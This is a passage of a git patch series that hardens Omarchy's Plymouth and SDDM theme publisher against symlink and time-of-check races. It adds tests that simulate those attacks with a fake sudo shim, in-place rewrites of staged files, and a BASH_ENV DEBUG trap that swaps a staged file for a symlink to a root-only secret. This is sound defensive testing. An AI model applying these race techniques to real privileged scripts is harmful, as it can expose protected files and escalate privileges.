"$plymouth_stage/$asset" -channel RGB +level-colors "#$text_hex","#$text_hex" "$plymouth_stage/$asset" + done + + sed -i \ + -e "s/#1a1b26/#$bg_hex/g" \ + -e "s/#ffffff/#$text_hex/g" \ + "$sddm_stage/Main.qml" + + for asset in bullet.png entry.png lock.png; do + cp --reflink=never -- "$plymouth_stage/$asset" "$sddm_stage/$asset" + done + for asset in entry lock; do + magick "$plymouth_stage/$asset.png" -channel RGB +level-colors "#f7768e","#f7768e" "$sddm_stage/$asset-failed.png" + done +fi + +declare -A staged_hashes=() +declare -A staged_sizes=() + +record_staged_asset() { + local source="$1" hash size + + if [[ ! -f $source || -L $source ]]; then + echo "Refusing non-regular or symlinked staged asset: $source" >&2 + exit 1 + fi + + size=$(stat -c %s -- "$source") + if (( size == 0 || size > max_asset_size )); then + echo "Staged asset is empty or exceeds the ${max_asset_size}-byte limit: $source" >&2 + exit 1 + fi + hash=$(sha256sum -- "$source") + staged_sizes["$source"]=$size + staged_hashes["$source"]=${hash%% *} +} + +# Record every asset before the first sudo prompt. Root verifies both values +# after consuming stdin, so an in-place rewrite after this point fails instead +# of changing what is published. This pins the recorded result, not the trust +# of an already-user-writable OMARCHY_PATH checkout. +for asset in "${assets_to_stage[@]}"; do + record_staged_asset "$plymouth_stage/$asset" +done +if ! $refresh_default; then + for asset in "${sddm_theme_assets[@]}"; do + record_staged_asset "$sddm_stage/$asset" + done +fi + +publish_asset() { + local source="$1" destination="$2" + local expected_hash="${staged_hashes[$source]}" + local expected_size="${staged_sizes[$source]}" + + # The caller's shell opens source before sudo starts. Root reads only stdin, + # verifies the recorded bytes, and never opens or chmods the final pathname. + # Its temporary file is on the destination filesystem, so mv is atomic for + # this one asset and replaces a destination symlink instead of following it. + sudo /bin/bash -c ' + set -euo pipefail + PATH=/usr/bin:/bin + export PATH + + destination=$1 + expected_hash=$2 + expected_size=$3 + max_size=$4 + + [[ $destination == /* && $destination != */ && $destination != *"/../"* ]] + [[ $expected_hash =~ ^[0-9a-f]{64}$ ]] + [[ $expected_size =~ ^[0-9]+$ && $max_size =~ ^[0-9]+$ ]] + (( expected_size > 0 && expected_size <= max_size )) + + parent=${destination%/*} + filename=${destination##*/} + [[ -n $parent && -n $filename && $filename != . && $filename != .. ]] + [[ -d $parent && ! -L $parent ]] + canonical_parent=$(realpath -e -- "$parent") + [[ $canonical_parent == "$parent" ]] + [[ $(stat -c %u -- "$parent") == 0 ]] + parent_mode=$(stat -c %a -- "$parent") + (( (8#$parent_mode & 0022) == 0 )) + + temporary=$(mktemp --tmpdir="$parent" ".$filename.omarchy-new.XXXXXXXX") + cleanup() { rm -f -- "$temporary"; } + trap cleanup EXIT HUP INT TERM + + head -c "$((expected_size + 1))" >"$temporary" + actual_size=$(stat -c %s -- "$temporary") + (( actual_size == expected_size )) + actual_hash=$(sha256sum -- "$temporary") + [[ ${actual_hash%% *} == "$expected_hash" ]] + + chown 0:0 -- "$temporary" + chmod 0644 -- "$temporary" + sync -f -- "$temporary" + mv --no-copy -fT -- "$temporary" "$destination" + trap - EXIT HUP INT TERM + ' bash "$destination" "$expected_hash" "$expected_size" "$max_asset_size" <"$source" +} + +remove_legacy_asset() { + local destination="$1" + + sudo /bin/bash -c ' + set -euo pipefail + PATH=/usr/bin:/bin + export PATH + + destination=$1 + [[ $destination == /* && $destination != */ && $destination != *"/../"* ]] + parent=${destination%/*} + [[ -d $parent && ! -L $parent ]] + canonical_parent=$(realpath -e -- "$parent") + [[ $canonical_parent == "$parent" ]] + [[ $(stat -c %u -- "$parent") == 0 ]] + parent_mode=$(stat -c %a -- "$parent") + (( (8#$parent_mode & 0022) == 0 )) + rm -f -- "$destination" + ' bash "$destination" +} + +for asset in "${assets_to_stage[@]}"; do + publish_asset "$plymouth_stage/$asset" "$theme_dir/$asset" done sudo plymouth-set-default-theme omarchy @@ -83,21 +266,9 @@ else sudo mkinitcpio -P fi -# Sync the SDDM login screen with the same colors and logo. -sddm_dir="/usr/share/sddm/themes/omarchy" -sddm_template="$OMARCHY_PATH/default/sddm/omarchy/Main.qml" - -sed \ - -e "s/#1a1b26/#$bg_hex/g" \ - -e "s/#ffffff/#$text_hex/g" \ - "$sddm_template" | sudo tee "$sddm_dir/Main.qml" >/dev/null - -publish_asset "$staging_dir/logo.png" "$sddm_dir/logo.png" || exit 1 -for asset in bullet.png entry.png lock.png; do - publish_asset "$staging_dir/$asset" "$sddm_dir/$asset" || exit 1 -done -for asset in entry lock; do - magick "$staging_dir/$asset.png" -channel RGB +level-colors "#f7768e","#f7768e" "$staging_dir/$asset-failed.png" - publish_asset "$staging_dir/$asset-failed.png" "$sddm_dir/$asset-failed.png" || exit 1 -done -sudo rm -f "$sddm_dir/logo.svg" +if ! $refresh_default; then + for asset in "${sddm_theme_assets[@]}"; do + publish_asset "$sddm_stage/$asset" "$sddm_dir/$asset" + done + remove_legacy_asset "$sddm_dir/logo.svg" +fi diff --git a/bin/omarchy-refresh-plymouth b/bin/omarchy-refresh-plymouth index 58042dba..160e0c8a 100755 --- a/bin/omarchy-refresh-plymouth +++ b/bin/omarchy-refresh-plymouth @@ -3,11 +3,7 @@ # omarchy:summary=Overwrite the user config for the Plymouth drive decryption and boot sequence with the Omarchy default and rebuild it. # omarchy:requires-sudo=true -sudo cp -r "$OMARCHY_PATH/default/plymouth/." /usr/share/plymouth/themes/omarchy/ -sudo plymouth-set-default-theme omarchy - -if omarchy-cmd-present limine-mkinitcpio; then - sudo limine-mkinitcpio -else - sudo mkinitcpio -P -fi +# Reuse the fixed-file publisher so root never resolves the source checkout or +# follows a destination symlink while restoring the packaged assets. +script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) +exec "$script_dir/omarchy-plymouth-set" --refresh-default diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index 56b6447e..ba246eae 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -1,21 +1,37 @@ #!/bin/bash +set -uo pipefail + source "$(dirname "${BASH_SOURCE[0]}")/base-test.sh" test_tmp=$(mktemp -d) -trap 'chmod 0600 "$test_tmp/secret" 2>/dev/null || true; rm -rf "$test_tmp"' EXIT +secret="$test_tmp/secret" +trap 'chmod 0600 "$secret" 2>/dev/null || true; rm -rf -- "$test_tmp"' EXIT + +plymouth_theme_assets=( + bullet.png + entry.png + lock.png + logo.png + omarchy.plymouth + omarchy.script + preview-unlock.png + progress_bar.png + progress_box.png +) +plymouth_default_assets=("${plymouth_theme_assets[@]}" logos/oma.png) +sddm_theme_assets=(Main.qml bullet.png entry-failed.png entry.png lock-failed.png lock.png logo.png) # omarchy-plymouth-set-by-theme hands over a theme's unlock.png from # ~/.config/omarchy/themes. Both installed copies are world-readable, so a # symlink there must not republish whatever it points at. -secret="$test_tmp/secret" printf 'not yours\n' >"$secret" ln -s "$secret" "$test_tmp/logo-link.png" -output=$(OMARCHY_PATH="$ROOT" bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo-link.png" 2>&1) +output=$(OMARCHY_PATH="$ROOT" /bin/bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo-link.png" 2>&1) status=$? -((status != 0)) || fail "omarchy-plymouth-set refuses a symlinked logo" +(( status != 0 )) || fail "omarchy-plymouth-set refuses a symlinked logo" [[ $output == *"symlink"* ]] || fail "omarchy-plymouth-set says why it refused the logo" "$output" pass "a themed logo cannot republish a file it merely points at" @@ -120,66 +136,89 @@ run_unlock_action "default" pass "the unlock picker still applies a theme and still resets on default" -# Exercise the full publisher with sudo and ImageMagick shims. Immediately -# after the unprivileged shell opens each staged source, the sudo shim renames -# that source away and replaces its pathname with a symlink to a simulated -# root-only secret. Reading via the inherited stdin descriptor must still -# publish the original bytes. The shim restores the source after each read so -# every Plymouth and SDDM asset gets attacked independently. fake_bin="$test_tmp/bin" -fake_root="$test_tmp/root" +root_tools="$test_tmp/root-tools" stages="$test_tmp/stages" -attack_log="$test_tmp/attacked" -sudo_log="$test_tmp/sudo.log" -mkdir -p "$fake_bin" "$fake_root" "$stages" +mkdir -p "$fake_bin" "$root_tools" "$stages" cat >"$fake_bin/sudo" <<'SH' #!/bin/bash -printf '%s\n' "$*" >>"$TEST_SUDO_LOG" +set -u + +for argument in "$@"; do + if [[ $argument == *"$TEST_STAGES"* ]]; then + printf '%s\n' "$argument" >>"$TEST_LEAK_LOG" + fi +done case "$1" in -tee) - destination="$2" - mapped="$TEST_FAKE_ROOT$destination" - mkdir -p "$(dirname -- "$mapped")" +/bin/bash) + [[ ${2:-} == -c && $# -ge 5 ]] || exit 90 + code=$3 + shell_name=$4 + original_destination=$5 + printf 'transaction %s\n' "$original_destination" >>"$TEST_SUDO_LOG" - stage=$(find "$TEST_STAGES" -mindepth 1 -maxdepth 2 -type f -name omarchy.script -printf '%h\n' | head -n1) - asset=$(basename -- "$destination") - source="$stage/$asset" - pinned="$stage/.pinned-$asset" - - if [[ -n $stage && -f $source && ! -L $source ]]; then - mv -T -- "$source" "$pinned" - ln -s "$TEST_SECRET" "$source" - printf '%s\n' "$asset" >>"$TEST_ATTACK_LOG" - /usr/bin/tee "$mapped" - result=$? - rm -f -- "$source" - mv -T -- "$pinned" "$source" - exit "$result" + if [[ ${TEST_MUTATE_DEST:-} == "$original_destination" ]]; then + expected_size=${7:-0} + case "$original_destination" in + /usr/share/plymouth/themes/omarchy/*) + relative=${original_destination#/usr/share/plymouth/themes/omarchy/} + stage_kind=plymouth + ;; + /usr/share/sddm/themes/omarchy/*) + relative=${original_destination#/usr/share/sddm/themes/omarchy/} + stage_kind=sddm + ;; + *) exit 91 ;; + esac + stage_root=$(find "$TEST_STAGES" -mindepth 1 -maxdepth 1 -type d -print -quit) + source="$stage_root/$stage_kind/$relative" + /usr/bin/head -c "$expected_size" /dev/zero | /usr/bin/tr '\0' X >"$source" + printf '%s\n' "$source" >>"$TEST_MUTATE_LOG" fi - exec /usr/bin/tee "$mapped" - ;; -chmod) - exec /usr/bin/chmod "$2" "$TEST_FAKE_ROOT$3" - ;; -rm) - destination=${@: -1} - exec /usr/bin/rm -f -- "$TEST_FAKE_ROOT$destination" + + mapped_destination="$TEST_FAKE_ROOT$original_destination" + shift 5 + + # The production helper intentionally resets PATH. For this unprivileged + # simulation only, substitute stat/chown shims so a uid-1000 test directory + # behaves like the root-owned /usr/share directory used in production. + code=${code/PATH=\/usr\/bin:\/bin/PATH=$TEST_ROOT_TOOLS:\/usr\/bin:\/bin} + PATH="$TEST_ROOT_TOOLS:/usr/bin:/bin" \ + /bin/bash -c "$code" "$shell_name" "$mapped_destination" "$@" ;; plymouth-set-default-theme | limine-mkinitcpio | mkinitcpio) + printf 'command %s\n' "$*" >>"$TEST_SUDO_LOG" exit 0 ;; *) echo "unexpected sudo command: $*" >&2 - exit 1 + exit 92 ;; esac SH +cat >"$root_tools/stat" <<'SH' +#!/bin/bash +last=${!#} +if [[ ${1:-} == -c && ${2:-} == %u && $last == "$TEST_FAKE_ROOT"* ]]; then + printf '0\n' + exit 0 +fi +exec /usr/bin/stat "$@" +SH + +cat >"$root_tools/chown" <<'SH' +#!/bin/bash +last=${!#} +[[ $last == "$TEST_FAKE_ROOT"* ]] || exit 93 +exit 0 +SH + cat >"$fake_bin/magick" <<'SH' #!/bin/bash -source="$1" +source=$1 destination=${@: -1} [[ $source == "$destination" ]] || /usr/bin/cp -- "$source" "$destination" SH @@ -188,34 +227,227 @@ cat >"$fake_bin/omarchy-cmd-present" <<'SH' #!/bin/bash exit 1 SH -chmod +x "$fake_bin"/* -printf 'SIMULATED ROOT-ONLY SECRET\n' >"$secret" +chmod +x "$fake_bin"/* "$root_tools"/* + printf 'caller-selected logo\n' >"$test_tmp/logo.png" -output=$(PATH="$fake_bin:$ROOT/bin:$PATH" \ - TMPDIR="$stages" \ - OMARCHY_PATH="$ROOT" \ - TEST_FAKE_ROOT="$fake_root" \ - TEST_STAGES="$stages" \ - TEST_SECRET="$secret" \ - TEST_ATTACK_LOG="$attack_log" \ - TEST_SUDO_LOG="$sudo_log" \ - bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo.png" 2>&1) +setup_run() { + run_dir=$(mktemp -d "$test_tmp/run.XXXXXXXX") + fake_root="$run_dir/root" + sudo_log="$run_dir/sudo.log" + leak_log="$run_dir/leaked-stage-path.log" + mutate_log="$run_dir/mutated.log" + theme="$fake_root/usr/share/plymouth/themes/omarchy" + sddm="$fake_root/usr/share/sddm/themes/omarchy" + + mkdir -p "$theme/logos" "$sddm" + chmod 0755 \ + "$fake_root/usr" \ + "$fake_root/usr/share" \ + "$fake_root/usr/share/plymouth" \ + "$fake_root/usr/share/plymouth/themes" \ + "$theme" \ + "$theme/logos" \ + "$fake_root/usr/share/sddm" \ + "$fake_root/usr/share/sddm/themes" \ + "$sddm" + + local asset destination + for asset in "${plymouth_default_assets[@]}"; do + destination="$theme/$asset" + printf 'old plymouth %s\n' "$asset" >"$destination" + chmod 0600 "$destination" + done + for asset in "${sddm_theme_assets[@]}" metadata.desktop theme.conf; do + destination="$sddm/$asset" + printf 'old sddm %s\n' "$asset" >"$destination" + chmod 0600 "$destination" + done + + plymouth_victim="$run_dir/plymouth-victim" + sddm_victim="$run_dir/sddm-victim" + legacy_victim="$run_dir/legacy-victim" + printf 'PLYMOUTH VICTIM\n' >"$plymouth_victim" + printf 'SDDM VICTIM\n' >"$sddm_victim" + printf 'LEGACY VICTIM\n' >"$legacy_victim" + chmod 0600 "$plymouth_victim" "$sddm_victim" "$legacy_victim" + + rm -f "$theme/omarchy.script" "$sddm/Main.qml" + ln -s "$plymouth_victim" "$theme/omarchy.script" + ln -s "$sddm_victim" "$sddm/Main.qml" + ln -s "$legacy_victim" "$sddm/logo.svg" +} + +run_set() { + local requested_umask="$1" + shift + ( + umask "$requested_umask" + PATH="$fake_bin:$ROOT/bin:$PATH" \ + TMPDIR="$stages" \ + OMARCHY_PATH="$ROOT" \ + TEST_FAKE_ROOT="$fake_root" \ + TEST_STAGES="$stages" \ + TEST_ROOT_TOOLS="$root_tools" \ + TEST_SUDO_LOG="$sudo_log" \ + TEST_LEAK_LOG="$leak_log" \ + TEST_MUTATE_LOG="$mutate_log" \ + "$@" \ + /bin/bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo.png" + ) +} + +assert_no_temporary_files() { + local directory="$1" leftovers + leftovers=$(find "$directory" -name '.*.omarchy-new.*' -print) + [[ -z $leftovers ]] || fail "failed publication cleans up its root-side temporary file" "$leftovers" +} + +for requested_umask in 022 027 077; do + setup_run + output=$(run_set "$requested_umask" env 2>&1) + status=$? + (( status == 0 )) || fail "Plymouth publisher succeeds under umask $requested_umask" "$output" + + for asset in "${plymouth_theme_assets[@]}"; do + destination="$theme/$asset" + [[ -f $destination && ! -L $destination ]] || fail "Plymouth $asset is a regular file under umask $requested_umask" + [[ $(stat -c %a "$destination") == 644 ]] || fail "Plymouth $asset is mode 0644 under umask $requested_umask" + [[ -s $destination ]] || fail "Plymouth $asset is nonempty under umask $requested_umask" + [[ $(grep -Fc "transaction /usr/share/plymouth/themes/omarchy/$asset" "$sudo_log") == 1 ]] || fail "Plymouth $asset is published exactly once" + done + for asset in "${sddm_theme_assets[@]}"; do + destination="$sddm/$asset" + [[ -f $destination && ! -L $destination ]] || fail "SDDM $asset is a regular file under umask $requested_umask" + [[ $(stat -c %a "$destination") == 644 ]] || fail "SDDM $asset is mode 0644 under umask $requested_umask" + [[ -s $destination ]] || fail "SDDM $asset is nonempty under umask $requested_umask" + [[ $(grep -Fc "transaction /usr/share/sddm/themes/omarchy/$asset" "$sudo_log") == 1 ]] || fail "SDDM $asset is published exactly once" + done + + cmp -s "$test_tmp/logo.png" "$theme/logo.png" || fail "Plymouth receives the selected logo under umask $requested_umask" + cmp -s "$test_tmp/logo.png" "$sddm/logo.png" || fail "SDDM receives the selected logo under umask $requested_umask" + grep -Fq '#1d2021' "$sddm/Main.qml" || fail "SDDM Main.qml receives the selected background under umask $requested_umask" + grep -Fq 'Window.SetBackgroundTopColor(0.114, 0.125, 0.129);' "$theme/omarchy.script" || fail "Plymouth script receives the selected background under umask $requested_umask" + + [[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' && $(stat -c %a "$plymouth_victim") == 600 ]] || fail "Plymouth destination symlink never changes its victim" + [[ $(cat "$sddm_victim") == 'SDDM VICTIM' && $(stat -c %a "$sddm_victim") == 600 ]] || fail "Main.qml destination symlink never changes its victim" + [[ $(cat "$legacy_victim") == 'LEGACY VICTIM' && $(stat -c %a "$legacy_victim") == 600 ]] || fail "legacy logo.svg removal never changes its victim" + [[ ! -e $sddm/logo.svg && ! -L $sddm/logo.svg ]] || fail "legacy logo.svg is removed" + + [[ $(cat "$theme/logos/oma.png") == 'old plymouth logos/oma.png' && $(stat -c %a "$theme/logos/oma.png") == 600 ]] || fail "normal theme set does not broaden into the refresh-only nested asset" + [[ $(cat "$sddm/metadata.desktop") == 'old sddm metadata.desktop' ]] || fail "normal theme set leaves SDDM metadata unchanged" + [[ $(cat "$sddm/theme.conf") == 'old sddm theme.conf' ]] || fail "normal theme set leaves SDDM theme.conf unchanged" + [[ ! -s $leak_log ]] || fail "no privileged command receives a user-writable staged pathname" "$(cat "$leak_log")" + [[ $(stat -c %a "$theme") == 755 && $(stat -c %a "$sddm") == 755 && $(stat -c %a "$theme/logos") == 755 ]] || fail "publication preserves destination directory modes under umask $requested_umask" + assert_no_temporary_files "$fake_root" +done + +pass "every Plymouth and SDDM destination is atomically replaced with mode 0644 across restrictive umasks" + +# Swap the first staged source to an unreadable file after all hashes have been +# recorded but in the DEBUG hook immediately before Bash opens the redirection. +# The caller-side open must fail, so sudo never starts and nothing is published. +setup_run +preopen_hook="$run_dir/preopen-hook" +preopen_marker="$run_dir/preopen-marker" +printf 'ROOT ONLY\n' >"$secret" +chmod 000 "$secret" +cat >"$preopen_hook" <<'SH' +if [[ $0 == */bin/omarchy-plymouth-set ]]; then + set -T + trap ' + if [[ ${destination:-} == /usr/share/plymouth/themes/omarchy/bullet.png && + $BASH_COMMAND == sudo\ /bin/bash\ -c* && + ! -e $TEST_PREOPEN_MARKER ]]; then + mv -T -- "$source" "$source.before-preopen-swap" + ln -s -- "$TEST_SECRET" "$source" + printf "swapped\n" >"$TEST_PREOPEN_MARKER" + fi + ' DEBUG +fi +SH + +output=$(TEST_PREOPEN_MARKER="$preopen_marker" TEST_SECRET="$secret" BASH_ENV="$preopen_hook" run_set 077 env 2>&1) +status=$? +chmod 0600 "$secret" + +(( status != 0 )) || fail "an unreadable pre-open source swap aborts publication" +[[ -s $preopen_marker ]] || fail "the pre-open source swap ran deterministically" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' && $(stat -c %a "$theme/bullet.png") == 600 ]] || fail "pre-open failure leaves the live destination unchanged" +[[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' ]] || fail "pre-open failure leaves destination-link victims unchanged" +if [[ -e $sudo_log ]] && grep -Fq 'transaction /usr/share/plymouth/themes/omarchy/bullet.png' "$sudo_log"; then + fail "sudo started despite the caller-side open failure" +fi +assert_no_temporary_files "$fake_root" + +pass "an unreadable source swap before open fails without publication" + +# Rewrite a staged file in place after Bash has opened it but before root reads +# stdin. Size is preserved, so only the recorded SHA-256 can reject this race. +setup_run +mutate_destination='/usr/share/plymouth/themes/omarchy/omarchy.script' +output=$(run_set 022 env TEST_MUTATE_DEST="$mutate_destination" 2>&1) status=$? -((status == 0)) || fail "Plymouth publisher succeeds while staged paths are swapped" "$output" +(( status != 0 )) || fail "an in-place rewrite after open aborts publication" +[[ -s $mutate_log ]] || fail "the post-open in-place rewrite ran" +[[ -L $theme/omarchy.script ]] || fail "failed hash verification leaves the old destination symlink in place" +[[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' && $(stat -c %a "$plymouth_victim") == 600 ]] || fail "failed hash verification leaves the destination-link victim unchanged" +assert_no_temporary_files "$fake_root" -expected_assets=$'bullet.png\nentry-failed.png\nentry.png\nlock-failed.png\nlock.png\nlogo.png\nomarchy.plymouth\nomarchy.script\npreview-unlock.png\nprogress_bar.png\nprogress_box.png' -actual_assets=$(sort -u "$attack_log") -[[ $actual_assets == "$expected_assets" ]] || fail "every staged asset is raced at its privileged publication" "$actual_assets" +pass "recorded size and SHA-256 reject a same-inode rewrite after open" -! grep -Rqs 'SIMULATED ROOT-ONLY SECRET' "$fake_root" || fail "a replacement symlink was published" -grep -Fq 'caller-selected logo' "$fake_root/usr/share/plymouth/themes/omarchy/logo.png" || fail "the descriptor did not preserve the selected logo bytes" -[[ $(stat -c %a "$fake_root/usr/share/plymouth/themes/omarchy") == 755 ]] || fail "fixed-file publication changed the theme directory mode" +# Root rejects both a symlinked parent and a group/world-writable parent before +# it creates a temporary file or touches the live destination. +setup_run +mv "$theme" "$theme.real" +ln -s "$theme.real" "$theme" +output=$(run_set 022 env 2>&1) +status=$? +(( status != 0 )) || fail "a symlinked destination parent is rejected" +[[ $(cat "$theme.real/bullet.png") == 'old plymouth bullet.png' ]] || fail "a symlinked parent leaves its target unchanged" +assert_no_temporary_files "$fake_root" -if grep -F "$stages/" "$sudo_log" >/dev/null; then - fail "a privileged command received a pathname inside the user-writable stage" "$(cat "$sudo_log")" -fi +setup_run +chmod 0777 "$theme" +output=$(run_set 022 env 2>&1) +status=$? +(( status != 0 )) || fail "a writable destination parent is rejected" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable parent leaves its live destination unchanged" +assert_no_temporary_files "$fake_root" -pass "privileged publication uses pinned descriptors for every staged asset" +pass "publication rejects symlinked and non-root-writable destination parents" + +# Refresh uses the same publisher but its explicit contract includes the +# packaged nested logos/oma.png asset. It must not touch the SDDM theme. +setup_run +output=$( + PATH="$fake_bin:$ROOT/bin:$PATH" \ + TMPDIR="$stages" \ + OMARCHY_PATH="$ROOT" \ + TEST_FAKE_ROOT="$fake_root" \ + TEST_STAGES="$stages" \ + TEST_ROOT_TOOLS="$root_tools" \ + TEST_SUDO_LOG="$sudo_log" \ + TEST_LEAK_LOG="$leak_log" \ + TEST_MUTATE_LOG="$mutate_log" \ + /bin/bash "$ROOT/bin/omarchy-refresh-plymouth" 2>&1 +) +status=$? +(( status == 0 )) || fail "Plymouth refresh succeeds through the safe publisher" "$output" + +for asset in "${plymouth_default_assets[@]}"; do + destination="$theme/$asset" + cmp -s "$ROOT/default/plymouth/$asset" "$destination" || fail "refresh publishes the packaged $asset bytes" + [[ -f $destination && ! -L $destination && $(stat -c %a "$destination") == 644 ]] || fail "refresh publishes $asset as a regular mode-0644 file" + [[ $(grep -Fc "transaction /usr/share/plymouth/themes/omarchy/$asset" "$sudo_log") == 1 ]] || fail "refresh publishes $asset exactly once" +done +[[ -L $sddm/Main.qml && $(cat "$sddm_victim") == 'SDDM VICTIM' ]] || fail "Plymouth refresh leaves SDDM unchanged" +! grep -Fq 'transaction /usr/share/sddm/' "$sudo_log" || fail "Plymouth refresh does not publish SDDM assets" +[[ ! -s $leak_log ]] || fail "refresh never gives root a user-writable source pathname" "$(cat "$leak_log")" + +grep -Fq 'sudo /bin/bash -c' "$ROOT/bin/omarchy-plymouth-set" || fail "publisher invokes Bash by its trusted absolute path" +grep -Fq 'PATH=/usr/bin:/bin' "$ROOT/bin/omarchy-plymouth-set" || fail "root helper resets PATH before resolving utilities" + +pass "refresh safely publishes its complete fixed asset set, including logos/oma.png" From 20a23b8c169b69e84f3998ae26cdc65dd8860ed7 Mon Sep 17 00:00:00 2001 From: Afonso Oliveira Date: Fri, 28 Aug 2026 19:37:04 +0100 Subject: [PATCH 117/336] [Security] Complete Plymouth publication coverage Keep SDDM color substitution collision-free for White themes, based on the fix proposed in #8469. Co-authored-by: itz4blitz --- bin/omarchy-plymouth-set | 9 ++++++-- test/shell.d/plymouth-set-test.sh | 36 +++++++++++++++++++++++++++---- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index f8f84c36..c9c663b5 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -135,9 +135,14 @@ if ! $refresh_default; then magick "$plymouth_stage/$asset" -channel RGB +level-colors "#$text_hex","#$text_hex" "$plymouth_stage/$asset" done + # Substitute through unique tokens. Otherwise White's #ffffff background is + # immediately mistaken for the template's text placeholder by the next sed + # expression and rewritten to black. sed -i \ - -e "s/#1a1b26/#$bg_hex/g" \ - -e "s/#ffffff/#$text_hex/g" \ + -e 's/#1a1b26/#__OMARCHY_SDDM_BG__/g' \ + -e 's/#ffffff/#__OMARCHY_SDDM_TEXT__/g' \ + -e "s/#__OMARCHY_SDDM_BG__/#$bg_hex/g" \ + -e "s/#__OMARCHY_SDDM_TEXT__/#$text_hex/g" \ "$sddm_stage/Main.qml" for asset in bullet.png entry.png lock.png; do diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index ba246eae..72fdca8c 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -22,6 +22,15 @@ plymouth_theme_assets=( plymouth_default_assets=("${plymouth_theme_assets[@]}" logos/oma.png) sddm_theme_assets=(Main.qml bullet.png entry-failed.png entry.png lock-failed.png lock.png logo.png) +# Keep the refresh allowlist synchronized with every packaged Plymouth asset. +# An added default file must make this test fail until its publication contract +# is explicitly reviewed and included above. +packaged_plymouth_assets=$(find "$ROOT/default/plymouth" -type f -printf '%P\n' | LC_ALL=C sort) +allowlisted_plymouth_assets=$(printf '%s\n' "${plymouth_default_assets[@]}" | LC_ALL=C sort) +[[ $packaged_plymouth_assets == "$allowlisted_plymouth_assets" ]] || + fail "Plymouth refresh allowlist differs from the packaged asset set" "$packaged_plymouth_assets" +pass "Plymouth refresh allowlist covers every packaged asset" + # omarchy-plymouth-set-by-theme hands over a theme's unlock.png from # ~/.config/omarchy/themes. Both installed copies are world-readable, so a # symlink there must not republish whatever it points at. @@ -279,9 +288,9 @@ setup_run() { ln -s "$legacy_victim" "$sddm/logo.svg" } -run_set() { - local requested_umask="$1" - shift +run_set_colors() { + local requested_umask="$1" background="$2" text="$3" + shift 3 ( umask "$requested_umask" PATH="$fake_bin:$ROOT/bin:$PATH" \ @@ -294,10 +303,16 @@ run_set() { TEST_LEAK_LOG="$leak_log" \ TEST_MUTATE_LOG="$mutate_log" \ "$@" \ - /bin/bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo.png" + /bin/bash "$ROOT/bin/omarchy-plymouth-set" "$background" "$text" "$test_tmp/logo.png" ) } +run_set() { + local requested_umask="$1" + shift + run_set_colors "$requested_umask" '#1d2021' '#ebdbb2' "$@" +} + assert_no_temporary_files() { local directory="$1" leftovers leftovers=$(find "$directory" -name '.*.omarchy-new.*' -print) @@ -345,6 +360,19 @@ done pass "every Plymouth and SDDM destination is atomically replaced with mode 0644 across restrictive umasks" +# White uses #ffffff behind #000000 text. A direct two-expression sed first +# writes the white background and then consumes it as if it were the template's +# text placeholder, producing a black-on-black greeter. +setup_run +output=$(run_set_colors 022 '#ffffff' '#000000' env 2>&1) +status=$? +(( status == 0 )) || fail "White theme publishes through the safe asset pipeline" "$output" +grep -Fq 'color: "#ffffff"' "$sddm/Main.qml" || fail "White theme preserves its SDDM background color" +if grep -Fq '__OMARCHY_SDDM_' "$sddm/Main.qml"; then + fail "SDDM color substitution left an intermediate token behind" +fi +pass "White theme keeps a white SDDM background instead of becoming black-on-black" + # Swap the first staged source to an unreadable file after all hashes have been # recorded but in the DEBUG hook immediately before Bash opens the redirection. # The caller-side open must fail, so sudo never starts and nothing is published. From a465dfa68141ff0100dce51c1b9d499b60f09247 Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Sat, 29 Aug 2026 14:42:47 +0200 Subject: [PATCH 118/336] Use the runtime path for Plymouth refresh --- bin/omarchy-refresh-plymouth | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/bin/omarchy-refresh-plymouth b/bin/omarchy-refresh-plymouth index 160e0c8a..fa47ffff 100755 --- a/bin/omarchy-refresh-plymouth +++ b/bin/omarchy-refresh-plymouth @@ -5,5 +5,4 @@ # Reuse the fixed-file publisher so root never resolves the source checkout or # follows a destination symlink while restoring the packaged assets. -script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) -exec "$script_dir/omarchy-plymouth-set" --refresh-default +exec "$OMARCHY_PATH/bin/omarchy-plymouth-set" --refresh-default From 05fb36d3cc719fedbc534602f6a17c22eb2b928d Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Sat, 29 Aug 2026 15:05:13 +0200 Subject: [PATCH 119/336] Build Plymouth assets in a root-owned stage --- bin/omarchy-plymouth-set | 422 ++++++++++++++---------------- test/shell.d/plymouth-set-test.sh | 112 ++++---- 2 files changed, 261 insertions(+), 273 deletions(-) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index c9c663b5..68f13ff8 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -7,19 +7,25 @@ set -euo pipefail -# Configure the Plymouth boot theme with a custom background color, text color, -# and logo. Assets are prepared without privileges, pinned to their recorded -# hashes, then published one at a time through root-owned temporary files. +# Build the authoritative theme in a root-owned directory, then publish each +# fixed destination atomically. The caller opens the selected logo before sudo, +# so the privileged process never resolves a user-controlled input path. refresh_default=false -if (( $# == 1 )) && [[ $1 == --refresh-default ]]; then 